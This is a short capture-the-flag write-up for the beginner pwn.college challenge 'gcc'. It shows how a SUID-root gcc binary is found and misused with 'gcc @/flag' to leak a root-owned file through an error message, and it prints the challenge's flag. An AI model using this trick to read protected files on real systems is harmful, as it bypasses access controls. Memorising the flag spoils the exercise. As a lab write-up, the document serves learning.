Challenge Name: gcc
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/gcc, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/gcc
Output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/gcc
- The
sin-rwsindicates itβs a SUID binary. gccruns with root privileges.
π Exploitation
The gcc has @ option which read additional command-line options from a file.
gcc @/flag
Output:
gcc: error: pwn.college{ohija7-Bp5zIpS8Nc848PscIEAM.dBTOxwSM0IzMyEzW}: No such file or directory
gcc: fatal error: no input files
compilation terminated.